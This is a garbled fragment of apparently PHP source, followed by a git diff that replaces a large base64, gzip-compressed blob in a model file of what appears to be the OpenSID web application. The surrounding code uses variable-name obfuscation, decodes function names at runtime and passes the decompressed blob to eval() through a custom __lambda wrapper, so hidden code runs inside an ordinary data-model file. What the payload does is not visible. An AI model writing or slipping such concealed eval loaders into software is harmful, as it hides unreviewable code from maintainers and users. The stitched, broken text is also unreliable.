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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Web_kategori_model.php b/donjo-app/models/Web_kategori_model.php index d6db77a0d..8a144bed7 100644 --- a/donjo-app/models/Web_kategori_model.php +++ b/donjo-app/models/Web_kategori_model.php @@ -260,7 +260,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFuTomjSvp+I/Q99sRE1G/PtLGDb00ZHX4glCJ5akIPcTAh0oQUoXXjCX/89CahgQVX1zOzE7IRvjWOJvKfMJzOfzJfqd++y9s9f0T7fRU/L1ebh7lP6MW+f79z16nH973kU/Sdcu1+D+D/GV/tXf7756q2flr+m136OFtG7TjCP459//vnu0w/5sO/+8cPt5/Zz/fMD4evdH9g+P7tyZ7KteGawS0vsfr5LL11Q+aaW28Dnd7d2a7d2a3/PdueEOuOa8lYSdW5m7Ney0HowE/+XzGnCa2bu+tebqG7t1m7t1m7t1m7t1m7t1v7X2q2ccWu3dmu39vdtd/Y8/vrh/a/uV2ftfr37dJPIrd3ard3ard3a72rlByPuJ+tRZ/nxG969vsf0pc7aU8IgtlQ+skPfm4XCam4IW0lUFk7ofyjeN23wgR2MZKWdfsY47W+SMIqchhLYaX9r54TswuF8zxL140zljy6dZ5uS54p6MlvpT7jG2iuFnSf8xjLYxZyuGe+z+yeFcbvC3haDp5k5imgt9pI/2g2MwWnejGv5p/VaYpDMjUPkJDzmkX3cj3Vv6P54bo4Ce4X+XXcy7fDGcF8cf7HAGu7nJs/M1HYyvG83pQ7jDR/bh5HK39scu5wbzUAS5MDhWqwTjgKpG2yx18jt6czcaG2lzmLt9pT9ePlxZ/f0Dfa3tbjNzjb17dyE/JLm1jInu362L08VhSepC3n1lIV0L+2H05k3SOeWjpLAB1g3a5uQjwj5dxXM2/UUMVjRWHaH17C/pWtsFqd5neN6N+Bae8to+hb2PQgDv1+SIfQSuiSLk6xIRtGcI/0GH+bG+1jqjYIZJyTQy8oJBWZuDmNJ3ASOKPikP2Bhj/e9Cx19BS6sVG9NyJlfuGIq5+MM8rdDYZtiZcnjOzmSerQfgeSxcDt87BpNkne+DprfimxRw++tJ2AEelJS3BBOsL7I7bTXkl/AAGQ/V6Vo0Dnjx4fuMMdhMW+kGMr2DNnaK34hiTLWJ2BttEfIknCJ+yQx1XsBg82V1dC3M4P2svdsQ99in3EqG5El+bGwiXWGwRaNyWbXFcI9sCezDhfQ/HG+f+xDoDlZ3ENz7GcG9N0bNSEXkkWmg4bOjL2iHcG2DGAtDJiZsWDJJuaEFzHHi6jADgRmZg4z+fUq7jej6KRr9E3c9N7giPmYbH/QjXFY2DkeHY5wLOyxtgXkvKUxZsCaq/LLmeFG9NkR9a2L76B33hEPhJ3jXOVlzAGMyotUx8kZJ80Z5JnLbQ2MsLDLgszc9ZzmD92Cvir2YTSj9H6R8OMunCX/ZJkKYST93qY9GU1ax7M1Ff2V1tXVidbsqYygSd2DPvWFAXA0VlW+q+ojQekGPL4bSx15qmgyrzCCPNWE8QTjKl1hbGjdJfCmYYwJrvUnGitjjDF8E32e6Bow0pV5VYs9HXNpLObTJx7G0PHfOMeDpujyVNVlXu+8pzWNde0ga5Cn3hV06F2YanqP1gmfxKvwSaqOOVV+ivl4+FcBaxxizZqqKfR9B+PRmoAwfawkWJfu8pNlOt5U6m6GEy0YYd0D3KdrjDCYaO+9ia7w+skPMbo50SJ5ctqLzuvTU39ajw8PpzX5cz+VpzHH0yDAehRB8ze8in2i31DVNrzG+J6qNeVBEc9dwv0IenYDqdO+jh3eBJhwxcXOWbY9CTKeG4ynieQ/4UczTH0h7CmXuIA+o53TI3/vrmFH0syIvQkX7F2xS357P1bbm8yvarjewjjArcqr8I0715QfLcLIagQfp2DuYGcv2+t5T2Gce/KjBxY4ZAmb8P14D8jWtnaoM4PEP+3p0W7wTWB1Ne9N/kx/jr0fohmnbx3EP8jrHHfchtsYhO7WVZuIvc4OtvFItmGZw53V4ONBuGBsY+8pLD+UhNkxx2Sb7H2ekOzxEheM2+OPNJ7FBcy8py8H4Whnq61UBxoTdAdMuq6pqk1SWWTjfBx1oHPXpNgo7B3hINgrfeOwhylsnsH19PMYcfd+EvmWAZ8f6n6/43YmsD+tK2hqx0GsOHyURP393JysZaa5I1/nhPojdHycNWTId+IBS4+QyRE+MLbFVsMyJqv+NE7nn3EH+Pahp3P60qR4I+orG/1Mjt2BV8Q0tkvY6g29qR48TA3wB2M/6qxi2gvJcw+dcvB9wKrCOiudOfXN1r5O5eRALiRfxC7gY5RxAKH1AD5CvCBxjRHT7/inMX859UtfPcSFEL70fv3BZFuPNtc8uj2ZnTUm63Qfy/b5Xtx3cI0gsfTWzk55hzDRBLJPzxss26tBvjYnaenFtQ5W/NrpOOV5Owozh78cTJulfUn3jAddNCRBR5xQTjJZywX5yYl/Huth8oocUnumfbGI2TpjqV50uv9ryrvO+/MtimNqu1VYG8kjhF0/zI3JGpiJ7c7eI/lYql+STfZifqK4RnEpld+kNH76wpiIEYeAvr/aU+V4LreAvWpruQE9rWTEmslq0Gnva8aGrcGeg9byq+qtEH8Yy3BxzV/V3L+yzLetA7oHZz5AT0KC2NoEnn7JOHsJH/njT1cy11s+xW/YQGA2Royz9HJZ1+lRjlxwPvjFEPzsMfOJPOQGPsgtHpyGENfiWQxCqeP5xB3nZV0eyU4JE6RX4oJ99apvjgP4f/B20qW0+RJSHNeuZLT3ZJH4vB+NSxjiW9+xH+DqwMDX/hH7yceS4LPiCv2d+/izZQFTHPFLOSafBUzlc/hX/oE5rat10TfxbhlcFDwOucUMuYfNESejHK256neUPdnxUCU5ffS+qAW8Xq1P7ilrcPtUzvBVDyku9NbRgc1f+x+5J+/cU2zA+Je+yrJkV8zoC3iC1u+swc/BHcRoY8Ofn/DeVwnPrcYVlovy+mYbh4eCP0jshmvLHI3jukXfeyXf2OYEn97BvxNgDGO7e+Ksduisnu1HHIUWG69Ibpbquvl1mm8/vvJNM85aGYm7T/Fyur8og9UocBoj0gN+58kH0LxBzThb5DYPJAMnycchGQmZnV73OdnDSb/YX0Q8BHp+tEIneiaPnhyAqSXgMc/6nscmXHmn3/lkblqwL62EJ+LTbr4m+I2D3an33ad5KOZZ4EEmF1A8fyJbzf01cGIlNseUbFkS4xXhodbPnnX2Ov6L64VsdqkNdMgGWqEF/bik2/t2DP2iLxtln7X9sDY2jxrgZI9z5Jywo2rbJj8E7jWcrmmeBDE0SfVZ9FfHKp+QzreEz17Mj/FFF4UX/MHRAm8cQ48Yx6d6CWy5GFc8patPJ4lT5UezMSBL8OFnsaK09uP12i9+6QqLhb5ygnjw9NwW033Bv4Of3E8+QNZZTFySXbnI9QRwBN0H7xU0ZvhbxyfOuKB4OF6Wxk+5zLW8i7Hg2l/MzRFiqkK56CkO1PGk1HcjN4ZciM+5T4PlGhwy3hb1MdGHXvEz4jlwn8nW5Mgfndbrpz7XNlI7zvFYxOrz+C6LtM4uYaAYI6v5wvevs3KcDHfyw2zlr08YqeEy+R48H3a4AWcnO9tZoYU4OYkq8In9u9inV/0dcOs09Bj2TP5gAT4VVfj9b5nvzGV2f21HfGg3JA/yjVJfcB/jXt/70qF8DZy7c+FBGCvqJ3Fd/E59ipEokanHKzv8uDKzuPRN6sSw/Wr7nRszmrvUF7nSYhYeAquT+n34n27NnAVOrMf+XGcR/4QncJdQZpnUDxhGt9J+HlTk1D3Y328cVxcDHz6jeuxJlT22/fkyfqrgYtX8NJdJTSxiIZ9olpS4WmRTfF0VOH0djynFYcqLkds09GNWA6a44GIceYf4vHG4Ck5QOQ6wJbRYjJVkePFWwOYj8u6jkzgx6XBcnctcy6klCRu38l5go5gvmGWuif3zrEt2LbaOwG05t6jfA/HbyKZ6bNB6ojzW4lrgmM/5f4HrLor5l2VsHuCzN7NTn2fr9Kvxe+Igj899cdXeS3aB74DDQ52cgCHI4szXSv4w/U5obWxOCezO5fPM9NbE38AJEVeajJy0W1+W7T3W7/WT+rkc7sBaSXEunnXCwwNwydgi+ErqkwW7FO9ZBr7PpTOHdYH/XMeV3C+4xRw30zvsj9aYnRVA16eaRikWtFi3V2Hbz3n52Xae51BpPKngjyMGa2MdFlgzNlQzWufzReOkvRuwysI2+QxXS35CNSnbezuvpHMhJwxiOm8o1mX6ndkJlzV8LLPni091L5jW07+RXED20ZvtS6Qa2IHqxxH0GUDWdRj/njy5ZDOFcWq5M50DmFxzYRvl2F7i0mKTtcU9nR8krqFRLtWYIxZbV3UGyiOr5qyIu2UfAg5ONTmzgRyvMXyW++WxbAH55Hvzr/eR4VJoTRV9NFW11hj6KflayHxL8YV4hdTN9lvkIG4Wd7xZ2AJ38TyHo3kqua1vsiNBY0fylGnacmPEzjjy18PcbzKHGt6YWITr8L1nhUIM7vs81y7zh/P9qQ1/Ry7imnTepQTEPaws73g1d3IonnCEIfittFarPFANFXyR7JTqBciXW+CR7NFKnGj8hnEq4h9sOquZkg8Y1vilKr9isEydDyvElqu8OAy2Tk9ngNe93cj46OXe6z3wkbVs1/lU78uU8aq+M7kDYYnstBKTJ96R+q6EzhQUOusDlrveV8Ohs7D0LO8VLKRrk0r2qT/ldlu35poa1xlXr+CvoNNan5npoC4+1PqTDvKPlbsGLoBRFxh1iK/jna7re/KDVb6lwBvK3K6B/ff0owlbnDdGqS8Fx2acDnHrjztdFDaOmK0/PQPhsnPht9WQEcuz2rGPWJhy1DR+gePapr4gvOX2XGNjF93BHjau0X2tTles7Z3tJc0hpq/mljvXzOpvFxsY7ezQiiy2Bfl6Zd+d1/7wHqX146B1/s4RqT5GeUpBN+FZFs85YBmvx/ys5YHOt8kn9K9y2ZmB7Aw5omUoeS0KayMdc8JqZhweoKNvaf0tjznfGfureLxPNUJgl9a0PPvGjpPKINcNcawQ8x8t9cWaLPHUo2WwbG0squbyp1hRwTGf5yy/y47+JrrC+PX18bfazJVfgw9+mHFpPQuxnP+isQp8Z+Cb3GgpZ3GmpAeLaiiGkNfisvskUTjmsn5Z/2HJf8QX3BTk9aZzhCrflNXNCc9XfrkQ59ppnl8T/ykmgTOC95j8AjhZp2eCWQ3UI254Je80bv0mnnjyNQV+WHMGBZlhHL1Fdfdj1VnThQ9iLcij6s5yfv+Z3qkedLaxQg5HOUxB5pOaWuJ1HatBZ5uT1Uv3W2meUeYqdTVW7AnxfMTaPWDapHMHf91/qSYkjnaws3Me01fbPxE/rK/X/FF1rOtaIviKGLh0HmGfcty0nlaZE39HDYkvn/M/Rhx8CGtprfCletg1h3nJL1dx9DyfreJb1f3P5yS8bb4W1y/3bl34w++oXeU1ZnoWLq6vX1XUdq/OUha1Z8OXWu9isFzXnTV/s7lgW8Y0n57PyFx3S/64mItBh0/0nMnr5+JK5Iga+ZXk5TNuIYE8nixj782qbeltNV/RomeD1in+1fYecc6Hf/0oXdvUNLWRp35SExuq8F+L/T+0lpnjoRQr0rMqOXFe5K+IWXu356dnUbVn52lt7IWzkBdrw9kzLpkcPr6am7zm22UuBi54BmMGrz+LEW/7yzpcnH3/+fwoz11fP7Popb7+rXUQb578RbH5Bt981e+bayis3TnhuvRdKV//79ft38KP2q89F/S/VUu/1EYufAWxMX++4NJ/WhUHoKeco5hqRV13lT2bZWfPZhU+C+/7QlzMG70v0/cljvQXqHdfbPgkj/vu22vj1b7ml8ocvFOBmau8ap7W2eRrrhdLxbrK67laOh/Z9SBpaTP46blxSP9+QaPnVLNnmr+rbkh1lNkVzvLax/41DnG9b+jwGb+prbEV+AdkswcG6XmWnfP8ebnaPDB9Vj/df7PIKdbF84Yi9rI6UX0cKT0fwgV+xvvBiej6uc7619AfPUNpvay/v2vtKq8XaFU4+fNrhXprYYuHirjzN6hj6HQuJ1/ZVuBf1dAy3jWtOX99PXaXztZsbvR0Xa9zgdvsGatXZfr77Vko5op5XOtZC1u4Pu/7L9s3naeUecwr5zuF/PT31oPT2FysL1af49U9W1m0nUHyETIXkpnhfShckzvTrjcAdiiPONcKYZNS25eHy/ZGEpuLuRG/EsMoBznX2uhvgdZXdafcD9bihvBNzw3RfQtJ1DdOT2mWOSPGSHi7+LwgsPhTiVvpjDdeVtxzz7t1Z2eVzw9U7IX8SnoWXToTjAg/n+8+/fDDn/+HnJ/T9x/zT//69D3dC33f0vGflwl/vKP/3/3fedrbv5d9+3np38suY+jHEmgzCP3r0/8D6xNjYA=='; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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